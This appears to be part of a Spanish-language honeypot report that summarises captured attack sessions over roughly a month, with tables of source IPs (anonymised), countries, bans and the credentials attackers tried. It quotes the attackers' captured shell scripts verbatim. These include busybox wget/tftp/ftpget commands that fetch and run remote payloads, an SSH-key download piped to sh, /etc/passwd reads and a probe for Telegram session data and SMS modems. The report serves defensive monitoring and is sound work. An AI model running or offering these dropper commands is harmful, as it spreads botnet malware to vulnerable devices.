"\x47\x41\x59\x46\x47\x54" echo -e "\x47\x41\x59\x46\x47\x54" echo -e "\x47\x41\x59\x46\x47\x54" (ftpget <IP> f ftpget || busybox ftpget <IP> f ftpget) > f; chmod 777 f; ./f; rm -rf f ftpget <IP> f ftpget
7ab552f01de9 : 56 IPs, 133 sesiones, 133 órdenes · visto del 2026-08-22 14:58 al 2026-09-21 10:19
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-US-040> | 🇺🇸 Estados Unidos | 6 | denunciada |
<IP-NL-001> | 🇳🇱 Países Bajos | 4 | denunciada |
<IP-US-004> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-041> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-042> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-043> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-044> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-045> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-046> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-047> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-048> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-049> | 🇺🇸 Estados Unidos | 4 | denunciada |
<IP-US-050> | 🇺🇸 Estados Unidos | 2 | denunciada |
<IP-FR-002> | 🇫🇷 Francia | 2 | denunciada |
<IP-NL-002> | 🇳🇱 Países Bajos | 2 | denunciada |
(y 41 IPs más)
Ver la orden de 7ab552f01de9
uname -s -v -n -r -m
2d50aaadc233 : 41 IPs, 42 sesiones, 42 órdenes · visto del 2026-09-06 16:55 al 2026-09-11 08:22
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-RO-001> | 🇷🇴 Rumanía | 2 | denunciada |
<IP-CA-001> | 🇨🇦 Canadá | 1 | denunciada |
<IP-US-001> | 🇺🇸 Estados Unidos | 1 | denunciada |
<IP-US-002> | 🇺🇸 Estados Unidos | 1 | denunciada |
<IP-ID-001> | 🇮🇩 Indonesia | 1 | denunciada |
<IP-IN-001> | 🇮🇳 India | 1 | denunciada |
<IP-PL-003> | 🇵🇱 Polonia | 1 | denunciada |
<IP-HK-001> | 🇭🇰 Hong Kong | 1 | denunciada |
<IP-IN-002> | 🇮🇳 India | 1 | denunciada |
<IP-IN-003> | 🇮🇳 India | 1 | denunciada |
<IP-US-003> | 🇺🇸 Estados Unidos | 1 | denunciada |
<IP-TW-001> | 🇹🇼 Taiwán | 1 | denunciada |
<IP-KG-001> | 🇰🇬 Kirguistán | 1 | denunciada |
<IP-BR-001> | 🇧🇷 Brasil | 1 | denunciada |
<IP-ID-003> | 🇮🇩 Indonesia | 1 | denunciada |
(y 26 IPs más)
Ver la orden de 2d50aaadc233
uname -a 2>/dev/null
4dd379d2cd85 : 37 IPs, 39 sesiones, 390 órdenes · visto del 2026-08-22 11:54 al 2026-09-15 19:41
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-IT-002> | 🇮🇹 Italia | 2 | denunciada |
<IP-KR-003> | 🇰🇷 Corea del Sur | 2 | denunciada |
<IP-PK-001> | 🇵🇰 Pakistán | 1 | denunciada |
<IP-IN-004> | 🇮🇳 India | 1 | denunciada |
<IP-GE-001> | 🇬🇪 Georgia | 1 | denunciada |
<IP-TR-001> | 🇹🇷 Turquía | 1 | denunciada |
<IP-IT-003> | 🇮🇹 Italia | 1 | denunciada |
<IP-BR-002> | 🇧🇷 Brasil | 1 | denunciada |
<IP-AR-001> | 🇦🇷 Argentina | 1 | denunciada |
<IP-KR-001> | 🇰🇷 Corea del Sur | 1 | denunciada |
<IP-PK-002> | 🇵🇰 Pakistán | 1 | denunciada |
<IP-IN-005> | 🇮🇳 India | 1 | denunciada |
<IP-IT-004> | 🇮🇹 Italia | 1 | denunciada |
<IP-IT-005> | 🇮🇹 Italia | 1 | denunciada |
<IP-UA-009> | 🇺🇦 Ucrania | 1 | denunciada |
(y 22 IPs más)
Ver las 10 órdenes de 4dd379d2cd85
sh shell shell enable system system ping; sh /bin/busybox STC /bin/busybox hostname TOASTER /bin/busybox wget <URL> -O- | sh;rm -rf tftp.sh;/bin/busybox tftp <IP> -g -r tftp.sh -l tftp.sh;chmod 777 tftp.sh && sh tftp.sh;rm -rf ftp.sh;/bin/busybox ftpget <IP> -P <N> ftp.sh ftp.sh;chmod 777 ftp.sh && sh ftp.sh;
1b66b7c0ce68 : 36 IPs, 39 sesiones, 897 órdenes · visto del 2026-08-24 01:23 al 2026-09-13 20:34
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-SA-001> | 🇸🇦 Arabia Saudí | 2 | denunciada |
<IP-SG-001> | 🇸🇬 Singapur | 2 | denunciada |
<IP-RU-001> | 🇷🇺 Rusia | 2 | denunciada |
<IP-CN-017> | 🇨🇳 China | 1 | denunciada |
<IP-US-005> | 🇺🇸 Estados Unidos | 1 | denunciada |
<IP-CN-018> | 🇨🇳 China | 1 | denunciada |
<IP-SG-002> | 🇸🇬 Singapur | 1 | denunciada |
<IP-CN-019> | 🇨🇳 China | 1 | denunciada |
<IP-VN-001> | 🇻🇳 Vietnam | 1 | denunciada |
<IP-KR-002> | 🇰🇷 Corea del Sur | 1 | denunciada |
<IP-ET-001> | 🇪🇹 Etiopía | 1 | denunciada |
<IP-HK-003> | 🇭🇰 Hong Kong | 1 | denunciada |
<IP-US-006> | 🇺🇸 Estados Unidos | 1 | denunciada |
<IP-US-007> | 🇺🇸 Estados Unidos | 1 | denunciada |
<IP-NL-028> | 🇳🇱 Países Bajos | 1 | denunciada |
(y 21 IPs más)
Ver las 23 órdenes de 1b66b7c0ce68
id cat /etc/passwd echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A" enable system system shell shell sh bash cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY----- <CLAVE PRIVADA OMITIDA> -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no -----END OPENSSH PRIVATE KEY----- > key.ppk; echo StrictHostKeyChecking no UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@<IP>:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet >/dev/null 2>&1; else (wget --no-check-certificate -qO- <URL> || curl -sk <URL> | sh -s telnet; fi; rm -rf sshcfg key.ppk out_sh; echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\x6F\x6B"
2e66008255ae : 36 IPs, 37 sesiones, 518 órdenes · visto del 2026-08-22 12:12 al 2026-09-14 11:29
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-ES-001> | 🇪🇸 España | 2 | denunciada |
<IP-IT-007> | 🇮🇹 Italia | 1 | denunciada |
<IP-CN-020> | 🇨🇳 China | 1 | denunciada |
<IP-UA-010> | 🇺🇦 Ucrania | 1 | denunciada |
<IP-CN-021> | 🇨🇳 China | 1 | denunciada |
<IP-RS-001> | 🇷🇸 Serbia | 1 | denunciada |
<IP-CN-022> | 🇨🇳 China | 1 | denunciada |
<IP-CN-023> | 🇨🇳 China | 1 | denunciada |
<IP-CN-024> | 🇨🇳 China | 1 | denunciada |
<IP-PK-003> | 🇵🇰 Pakistán | 1 | denunciada |
<IP-RO-002> | 🇷🇴 Rumanía | 1 | denunciada |
<IP-VN-002> | 🇻🇳 Vietnam | 1 | denunciada |
<IP-UA-011> | 🇺🇦 Ucrania | 1 | denunciada |
<IP-CN-025> | 🇨🇳 China | 1 | denunciada |
<IP-IT-008> | 🇮🇹 Italia | 1 | denunciada |
(y 21 IPs más)
Ver las 14 órdenes de 2e66008255ae
enable system system shell shell sh linuxshell linuxshell enablelinuxshell enablelinuxshell ping ;sh echo -e "\x47\x41\x59\x46\x47\x54" cd /proc && cat self/cmdline echo -e "\x47\x41\x59\x46\x47\x54"
d76a6da1beb0 : 24 IPs, 26 sesiones, 947 órdenes · visto del 2026-08-23 17:24 al 2026-09-20 18:54
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-PL-004> | 🇵🇱 Polonia | 3 | denunciada |
<IP-RU-009> | 🇷🇺 Rusia | 1 | denunciada |
<IP-TR-002> | 🇹🇷 Turquía | 1 | denunciada |
<IP-AM-001> | 🇦🇲 Armenia | 1 | denunciada |
<IP-AL-002> | 🇦🇱 Albania | 1 | denunciada |
<IP-BE-002> | 🇧🇪 Bélgica | 1 | denunciada |
<IP-RU-010> | 🇷🇺 Rusia | 1 | denunciada |
<IP-BR-007> | 🇧🇷 Brasil | 1 | denunciada |
<IP-HU-001> | 🇭🇺 Hungría | 1 | denunciada |
<IP-UA-024> | 🇺🇦 Ucrania | 1 | denunciada |
<IP-IT-009> | 🇮🇹 Italia | 1 | denunciada |
<IP-RU-011> | 🇷🇺 Rusia | 1 | denunciada |
<IP-GB-003> | 🇬🇧 Reino Unido | 1 | denunciada |
<IP-CN-059> | 🇨🇳 China | 1 | denunciada |
<IP-FR-003> | 🇫🇷 Francia | 1 | denunciada |
(y 9 IPs más)
Ver las 34 órdenes de d76a6da1beb0
enable system system shell shell sh linuxshell linuxshell enablelinuxshell enablelinuxshell ping ;sh busybox cd /proc && cat self/cmdline /bin/busybox >/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/ >/var/d && chmod 777 /var/d && /var/d && cd /var/ >/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/ >/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/ >/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/ >/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/ >/data/d && chmod 777 /data/d && /data/d && cd /data/ >/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/ >/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/ >/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/ >/home/d && chmod 777 /home/d && /home/d && cd /home/ >/root/d && chmod 777 /root/d && /root/d && cd /root/ /bin/busybox (wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w wget <URL> -O- /bin/busybox /bin/busybox /bin/busybox (tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t tftp -g <IP> -r tftp -l-
58fdeea7f78d : 22 IPs, 23 sesiones, 910 órdenes · visto del 2026-08-26 21:34 al 2026-09-11 21:40
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-PK-004> | 🇵🇰 Pakistán | 2 | denunciada |
<IP-BR-003> | 🇧🇷 Brasil | 1 | denunciada |
<IP-CN-026> | 🇨🇳 China | 1 | denunciada |
<IP-PK-005> | 🇵🇰 Pakistán | 1 | denunciada |
<IP-CN-027> | 🇨🇳 China | 1 | denunciada |
<IP-MK-001> | 🇲🇰 Macedonia del Norte | 1 | denunciada |
<IP-CO-001> | 🇨🇴 Colombia | 1 | denunciada |
<IP-TW-002> | 🇹🇼 Taiwán | 1 | denunciada |
<IP-CN-028> | 🇨🇳 China | 1 | denunciada |
<IP-CN-029> | 🇨🇳 China | 1 | denunciada |
<IP-CN-030> | 🇨🇳 China | 1 | denunciada |
<IP-IL-001> | 🇮🇱 Israel | 1 | denunciada |
<IP-RU-002> | 🇷🇺 Rusia | 1 | denunciada |
<IP-CN-031> | 🇨🇳 China | 1 | denunciada |
<IP-TW-003> | 🇹🇼 Taiwán | 1 | denunciada |
(y 7 IPs más)
Ver las 40 primeras de 42 órdenes de 58fdeea7f78d
enable system system shell shell sh linuxshell linuxshell enablelinuxshell enablelinuxshell ping ;sh busybox cd /proc && cat self/cmdline /bin/busybox >/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/ >/var/d && chmod 777 /var/d && /var/d && cd /var/ >/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/ >/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/ >/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/ >/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/ >/data/d && chmod 777 /data/d && /data/d && cd /data/ >/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/ >/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/ >/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/ >/home/d && chmod 777 /home/d && /home/d && cd /home/ >/root/d && chmod 777 /root/d && /root/d && cd /root/ /bin/busybox (wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w wget <URL> -O- /bin/busybox /bin/busybox (tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t tftp -g <IP> -r tftp -l- /bin/busybox /bin/busybox /bin/busybox /bin/busybox /bin/busybox /bin/busybox /bin/busybox ... y 2 órdenes más
feef62c9a2bc : 18 IPs, 18 sesiones, 180 órdenes · visto del 2026-08-22 20:33 al 2026-09-21 06:05
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-RU-012> | 🇷🇺 Rusia | 1 | denunciada |
<IP-CN-060> | 🇨🇳 China | 1 | denunciada |
<IP-NZ-001> | 🇳🇿 Nueva Zelanda | 1 | denunciada |
<IP-SE-001> | 🇸🇪 Suecia | 1 | denunciada |
<IP-KR-004> | 🇰🇷 Corea del Sur | 1 | denunciada |
<IP-AR-002> | 🇦🇷 Argentina | 1 | denunciada |
<IP-CN-061> | 🇨🇳 China | 1 | denunciada |
<IP-RU-013> | 🇷🇺 Rusia | 1 | denunciada |
<IP-KR-005> | 🇰🇷 Corea del Sur | 1 | denunciada |
<IP-SE-002> | 🇸🇪 Suecia | 1 | denunciada |
<IP-HK-004> | 🇭🇰 Hong Kong | 1 | denunciada |
<IP-SE-003> | 🇸🇪 Suecia | 1 | - |
<IP-CN-062> | 🇨🇳 China | 1 | - |
<IP-FI-001> | 🇫🇮 Finlandia | 1 | denunciada |
<IP-SE-004> | 🇸🇪 Suecia | 1 | denunciada |
(y 3 IPs más)
Ver las 10 órdenes de feef62c9a2bc
/ip cloud print /ip cloud print ifconfig uname -a cat /proc/cpuinfo ps | grep '[Mm]iner' ps -ef | grep '[Mm]iner' ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* locate D877F783D5D3EF8Cs echo Hi | cat -n
4. IPs
| IP | País | Vía | Sesiones | Órdenes | Logins fallidos (SSH) | Muestras | Su orden más repetida | Estado |
|---|---|---|---|---|---|---|---|---|
<IP-PK-006> | PK 🇵🇰 | telnet | 17.126 | 37.212 | - | 0 | start ×5316 | denunciada |
<IP-PK-007> | PK 🇵🇰 | telnet | 14.420 | 20.443 | - | 7 | start ×1350 | baneada, denunciada |
<IP-PK-008> | PK 🇵🇰 | telnet | 5.557 | 17.080 | - | 2 | start ×284 | baneada, denunciada |
<IP-PK-009> | PK 🇵🇰 | telnet | 26.228 | 16.034 | - | 1 | start ×2288 | baneada, denunciada |
<IP-PK-010> | PK 🇵🇰 | telnet | 4.225 | 13.702 | - | 1 | start ×1524 | baneada, denunciada |
<IP-PK-029> | PK 🇵🇰 | telnet | 4.891 | 10.444 | - | 1 | start ×1306 | baneada, denunciada |
<IP-NL-024> | NL 🇳🇱 | telnet | 176 | 8.587 | - | 7 | echo -e "\x47\x41\x59" ×528 | denunciada |
<IP-PK-030> | PK 🇵🇰 | telnet | 3.801 | 7.409 | - | 1 | start ×888 | baneada, denunciada |
<IP-PK-031> | PK 🇵🇰 | telnet | 4.554 | 6.711 | - | 1 | start ×830 | baneada, denunciada |
<IP-PK-011> | PK 🇵🇰 | telnet | 1.101 | 6.549 | - | 1 | start ×792 | baneada, denunciada |
<IP-PK-032> | PK 🇵🇰 | telnet | 3.534 | 6.355 | - | 0 | start ×720 | baneada, denunciada |
<IP-PK-012> | PK 🇵🇰 | telnet | 913 | 6.036 | - | 1 | start ×718 | baneada, denunciada |
<IP-PK-013> | PK 🇵🇰 | telnet | 2.030 | 5.703 | - | 0 | start ×608 | baneada, denunciada |
<IP-PK-033> | PK 🇵🇰 | telnet | 2.699 | 5.680 | - | 1 | start ×720 | baneada, denunciada |
<IP-PK-034> | PK 🇵🇰 | telnet | 2.304 | 5.522 | - | 1 | start ×674 | baneada, denunciada |
<IP-PK-014> | PK 🇵🇰 | telnet | 1.734 | 5.494 | - | 1 | start ×642 | baneada, denunciada |
<IP-PK-015> | PK 🇵🇰 | telnet | 1.679 | 5.465 | - | 1 | start ×636 | baneada, denunciada |
<IP-PK-035> | PK 🇵🇰 | telnet | 2.735 | 5.406 | - | 1 | start ×690 | baneada, denunciada |
<IP-PK-016> | PK 🇵🇰 | telnet | 1.140 | 5.301 | - | 1 | start ×614 | baneada, denunciada |
<IP-CN-048> | CN 🇨🇳 | telnet | 13.323 | 5.298 | - | 0 | start ×590 | baneada, denunciada |
<IP-PK-036> | PK 🇵🇰 | telnet | 3.956 | 5.266 | - | 1 | start ×674 | baneada, denunciada |
<IP-PK-037> | PK 🇵🇰 | telnet | 1.391 | 5.226 | - | 1 | start ×670 | baneada, denunciada |
<IP-PK-017> | PK 🇵🇰 | telnet | 5.772 | 5.178 | - | 1 | start ×626 | baneada, denunciada |
<IP-PK-038> | PK 🇵🇰 | telnet | 5.981 | 5.096 | - | 1 | start ×656 | baneada, denunciada |
<IP-PK-018> | PK 🇵🇰 | telnet | 1.867 | 4.977 | - | 1 | start ×568 | baneada, denunciada |
La columna de logins fallidos lleva un guion (-), y no un cero, en las IPs que solo entraron por Telnet: este informe solo cuenta los logins de SSH, así que de una sesión de Telnet no se sabe si probó credenciales. Un cero diría que probó y no acertó, que es otra cosa.
4.1 Por país
Las cifras de esta tabla son solo de Cowrie: sesiones y órdenes son cosas de Cowrie, así que sus IPs también. La lista de "Todos los países que han atacado" cuenta las de los dos señuelos, y por eso un mismo país puede salir allí con más IPs que aquí. No es un descuadre: las dos cifras cuentan cosas distintas.
| País | IPs (Cowrie) | Sesiones | Órdenes tecleadas | Baneadas |
|---|---|---|---|---|
| 🇺🇸 US | 1.114 | 60.367 | 6.582 | 2 |
| 🇨🇳 CN | 611 | 301.522 | 116.822 | 33 |
| 🇷🇺 RU | 608 | 35.212 | 10.953 | 3 |
| 🇺🇦 UA | 523 | 5.235 | 3.980 | 0 |
| 🇦🇷 AR | 418 | 1.554 | 238 | 0 |
| 🇧🇷 BR | 292 | 5.402 | 290 | 0 |
| 🇵🇰 PK | 285 | 382.146 | 417.669 | 76 |
| 🇩🇪 DE | 236 | 9.196 | 142 | 0 |
| 🇮🇩 ID | 227 | 4.710 | 56 | 0 |
| 🇳🇱 NL | 207 | 27.449 | 15.822 | 0 |
| 🇮🇳 IN | 191 | 2.982 | 90 | 0 |
| 🇫🇷 FR | 170 | 14.408 | 203 | 0 |
| 🇬🇧 GB | 164 | 894 | 161 | 0 |
| 🇻🇳 VN | 157 | 8.148 | 479 | 0 |
| 🇿🇦 ZA | 125 | 430 | 204 | 0 |
| 🇨🇦 CA | 118 | 599 | 48 | 0 |
| 🇹🇷 TR | 116 | 1.673 | 91 | 0 |
| 🇰🇷 KR | 113 | 936 | 1.133 | 0 |
| 🇧🇪 BE | 112 | 418 | 34 | 0 |
| 🇲🇽 MX | 99 | 792 | 8 | 0 |
| 🇨🇱 CL | 94 | 454 | 0 | 0 |
| 🇭🇰 HK | 91 | 596 | 180 | 0 |
| 🇮🇹 IT | 80 | 688 | 1.154 | 0 |
| 🇺🇿 UZ | 76 | 406 | 71 | 0 |
| 🇸🇪 SE | 73 | 7.885 | 2.376 | 0 |
4.2 Por red /24
Agrupar las IPs por su red sirve para ver si detrás de muchas direcciones hay unas pocas redeso si el reparto está disperso. Las cifras de abajo lo dicen.
- 10.643 IPs repartidas en 8.318 redes /24 distintas
- Una media de 1,28 IPs por red
- La red más poblada aporta 111 IPs: el 1,0% del total
La tabla va de las redes con más direcciones a las que menos tienen. Mira la columna de órdenes para saber si además teclean algo o solo tocan y se van, la misma distinción que se hace en "Cuánto duran".
| Red | IPs | País | Sesiones | Órdenes | Conexiones (Dionaea) | Baneadas |
|---|---|---|---|---|---|---|
<IP-DE-001>/24 | 111 | 🇩🇪 DE | 39 | 0 | 125 | 0 |
<IP-US-008>/24 | 99 | 🇺🇸 US | 168 | 0 | 769 | 0 |
<IP-US-009>/24 | 87 | 🇺🇸 US | 71 | 0 | 57 | 0 |
<IP-US-010>/24 | 77 | 🇺🇸 US | 68 | 0 | 53 | 0 |
<IP-US-011>/24 | 69 | 🇺🇸 US | 59 | 0 | 53 | 0 |
<IP-CA-002>/24 | 64 | 🇨🇦 CA | 92 | 0 | 135 | 0 |
<IP-US-012>/24 | 47 | 🇺🇸 US | 27 | 0 | 52 | 0 |
<IP-US-013>/24 | 42 | 🇺🇸 US | 39.359 | 65 | 0 | 0 |
<IP-US-015>/24 | 37 | 🇺🇸 US | 59 | 0 | 2 | 0 |
<IP-US-014>/24 | 35 | 🇺🇸 US | 27 | 0 | 28 | 0 |
<IP-CZ-001>/24 | 35 | 🇨🇿 CZ | 16 | 0 | 47 | 0 |
<IP-ZA-002>/24 | 31 | 🇿🇦 ZA | 45 | 0 | 0 | 0 |
<IP-US-016>/24 | 31 | 🇺🇸 US | 17 | 0 | 16 | 0 |
<IP-ZA-003>/24 | 26 | 🇿🇦 ZA | 40 | 0 | 0 | 0 |
<IP-FR-001>/24 | 24 | 🇫🇷 FR | 16 | 0 | 10 | 0 |
<IP-GB-001>/24 | 23 | 🇬🇧 GB | 1 | 0 | 29 | 0 |
<IP-FR-004>/24 | 20 | 🇫🇷 FR | 13.077 | 26 | 0 | 0 |
<IP-DE-003>/24 | 19 | 🇩🇪 DE | 10 | 0 | 13 | 0 |
<IP-FR-005>/24 | 19 | 🇫🇷 FR | 16 | 0 | 6 | 0 |
<IP-GB-002>/24 | 19 | 🇬🇧 GB | 5 | 0 | 16 | 0 |
<IP-US-017>/24 | 19 | 🇺🇸 US | 12 | 0 | 16 | 0 |
<IP-DE-004>/24 | 18 | 🇩🇪 DE | 1 | 0 | 21 | 0 |
<IP-NL-025>/24 | 17 | 🇳🇱 NL | 6.776 | 20 | 0 | 0 |
<IP-GB-004>/24 | 17 | 🇬🇧 GB 🇮🇷 IR | 11 | 0 | 18 | 0 |
<IP-GB-005>/24 | 17 | 🇬🇧 GB | 16 | 0 | 10 | 0 |
4.3 Las que tocaron los dos señuelos
290 IPs de las 10.643 aparecen en los dos señuelos: el 2,7% del total. Los dos escuchan en direcciones públicas distintas (una para el Linux y otra para el Windows, a propósito, porque un mismo host con SSH de Debian y SMB de Windows sería sospechoso). Quien aparece en los dos no buscaba un servicio concreto: ha recorrido el rango entero del proveedor.
| IP | País | Sesiones (Cowrie) | Órdenes | Conexiones (Dionaea) | Estado |
|---|---|---|---|---|---|
<IP-BR-004> | BR 🇧🇷 | 4 | 0 | 83 | denunciada |
<IP-US-051> | US 🇺🇸 | 4 | 0 | 61 | denunciada |
<IP-US-052> | US 🇺🇸 | 2 | 0 | 53 | denunciada |
<IP-US-020> | US 🇺🇸 | 29 | 0 | 51 | denunciada |
<IP-US-021> | US 🇺🇸 | 21 | 0 | 51 | denunciada |
<IP-US-022> | US 🇺🇸 | 24 | 0 | 50 | denunciada |
<IP-US-031> | US 🇺🇸 | 3 | 0 | 41 | denunciada |
<IP-US-032> | US 🇺🇸 | 2 | 0 | 33 | denunciada |
<IP-BE-001> | BE 🇧🇪 | 3 | 0 | 32 | denunciada |
<IP-US-030> | US 🇺🇸 | 2 | 0 | 30 | denunciada |
<IP-US-053> | US 🇺🇸 | 10 | 0 | 29 | denunciada |
<IP-US-027> | US 🇺🇸 | 2 | 0 | 28 | denunciada |
<IP-US-028> | US 🇺🇸 | 26 | 0 | 27 | denunciada |
<IP-BR-006> | BR 🇧🇷 | 4 | 0 | 27 | denunciada |
<IP-BR-005> | BR 🇧🇷 | 3 | 0 | 27 | denunciada |
<IP-US-024> | US 🇺🇸 | 2 | 0 | 26 | denunciada |
<IP-US-054> | US 🇺🇸 | 3 | 0 | 24 | denunciada |
<IP-US-023> | US 🇺🇸 | 2 | 0 | 23 | denunciada |
<IP-US-025> | US 🇺🇸 | 1 | 0 | 22 | denunciada |
<IP-US-055> | US 🇺🇸 | 3 | 0 | 22 | denunciada |
<IP-US-026> | US 🇺🇸 | 2 | 0 | 22 | denunciada |
<IP-US-029> | US 🇺🇸 | 1 | 0 | 21 | denunciada |
<IP-US-056> | US 🇺🇸 | 3 | 0 | 20 | denunciada |
<IP-US-057> | US 🇺🇸 | 1 | 0 | 19 | denunciada |
<IP-UA-012> | UA 🇺🇦 | 4 | 0 | 19 | denunciada |
4.4 IPs baneadas
En total 115, según la memoria del bot. Se cruzan aquí con lo que hicieron: una IP baneada que no había tecleado nada entró por el baneo automático de repetición, no por lo que hizo en la sesión.
- 115 baneadas en total, según la memoria del bot
- 115 con actividad en este registro; 0 son de antes
- 10.638 IPs denunciadas a AbuseIPDB en total, que es otra cosa: no tienen por qué estar entre las baneadas
4.5 Quién ordenó cada baneo
- 98 automáticos, puestos por el vigilante al repetirse la IP
- 5 a mano, desde el botón de Telegram
- 11 con la etiqueta antigua, de origen desconocido: son de antes de que se separaran las etiquetas automática y manual
- 1 que el bot recuerda pero ya no está en el cortafuegos: o caducó, o se quitó a mano
Las puestas a mano, una a una: <IP-SI-002>, <IP-PK-023>, <IP-PK-024>, <IP-PK-008>, <IP-PK-017>
| IP | País | Sesiones | Órdenes | Primera vez | Denunciada |
|---|---|---|---|---|---|
<IP-PK-007> | PK 🇵🇰 | 14.420 | 20.443 | 2026-08-25 15:23 | sí |
<IP-PK-008> | PK 🇵🇰 | 5.557 | 17.080 | 2026-09-03 21:22 | sí |
<IP-PK-009> | PK 🇵🇰 | 26.228 | 16.034 | 2026-08-23 04:15 | sí |
<IP-PK-010> | PK 🇵🇰 | 4.225 | 13.702 | 2026-09-03 20:41 | sí |
<IP-PK-029> | PK 🇵🇰 | 4.891 | 10.444 | 2026-09-11 15:59 | sí |
<IP-PK-030> | PK 🇵🇰 | 3.801 | 7.409 | 2026-09-13 20:05 | sí |
<IP-PK-031> | PK 🇵🇰 | 4.554 | 6.711 | 2026-09-15 08:16 | sí |
<IP-PK-011> | PK 🇵🇰 | 1.101 | 6.549 | 2026-08-31 14:10 | sí |
<IP-PK-032> | PK 🇵🇰 | 3.534 | 6.355 | 2026-09-19 21:04 | sí |
<IP-PK-012> | PK 🇵🇰 | 913 | 6.036 | 2026-09-06 09:13 | sí |
<IP-PK-013> | PK 🇵🇰 | 2.030 | 5.703 | 2026-09-04 21:46 | sí |
<IP-PK-033> | PK 🇵🇰 | 2.699 | 5.680 | 2026-09-20 04:34 | sí |
<IP-PK-034> | PK 🇵🇰 | 2.304 | 5.522 | 2026-09-17 19:42 | sí |
<IP-PK-014> | PK 🇵🇰 | 1.734 | 5.494 | 2026-09-03 13:11 | sí |
<IP-PK-015> | PK 🇵🇰 | 1.679 | 5.465 | 2026-09-01 21:28 | sí |
<IP-PK-035> | PK 🇵🇰 | 2.735 | 5.406 | 2026-09-18 21:50 | sí |
<IP-PK-016> | PK 🇵🇰 | 1.140 | 5.301 | 2026-09-03 01:31 | sí |
<IP-CN-048> | CN 🇨🇳 | 13.323 | 5.298 | 2026-09-10 14:11 | sí |
<IP-PK-036> | PK 🇵🇰 | 3.956 | 5.266 | 2026-09-16 23:32 | sí |
<IP-PK-037> | PK 🇵🇰 | 1.391 | 5.226 | 2026-09-18 18:22 | sí |
<IP-PK-017> | PK 🇵🇰 | 5.772 | 5.178 | 2026-09-09 06:35 | sí |
<IP-PK-038> | PK 🇵🇰 | 5.981 | 5.096 | 2026-09-18 15:17 | sí |
<IP-PK-018> | PK 🇵🇰 | 1.867 | 4.977 | 2026-08-29 17:23 | sí |
<IP-PK-019> | PK 🇵🇰 | 2.003 | 4.828 | 2026-08-31 19:21 | sí |
<IP-CN-047> | CN 🇨🇳 | 1.414 | 4.730 | 2026-09-02 03:51 | sí |
5. Credenciales probadas
5.1 Las que funcionaron
O sea, las que pusimos nosotros en userdb.
| Usuario:clave | Veces |
|---|---|
admin:admin | 1.137 |
root:root | 733 |
5.2 Qué hicieron los que acertaron
- 1.870 sesiones entraron con una credencial buena
- 469 de ellas teclearon algo (el 25,1%); las otras 1.401 entraron y se fueron sin escribir una sola orden
Entrar y no hacer nada no indica un fallo del señuelo. Es lo habitual en quien solo quiere saber si la clave vale, para apuntarla o venderla. Quien viene a usar la máquina se queda y teclea.
| Credencial | Sesiones | Teclearon algo | Órdenes | IPs distintas |
|---|---|---|---|---|
admin:admin | 1.137 | 221 | 4.056 | 224 |
root:root | 733 | 248 | 5.992 | 218 |
5.3 Las más intentadas sin éxito
Es el diccionario de contraseñas que traen los atacantes.
| Usuario:clave | Veces |
|---|---|
root:123456 | 293 |
root:password | 288 |
root:12345 | 278 |
root:admin | 274 |
root:12345678 | 249 |
root:1234 | 248 |
root:123456789 | 240 |
root: | 236 |
root:qwerty | 211 |
root:111111 | 197 |
root:admin123 | 195 |
root:P@ssw0rd | 190 |
admin:123456 | 189 |
root:123123 | 188 |
root:123 | 182 |
root:root123 | 182 |
root:passw0rd | 176 |
admin:123456789 | 173 |
admin:admin123 | 172 |
root:1q2w3e4r | 172 |
admin:password | 166 |
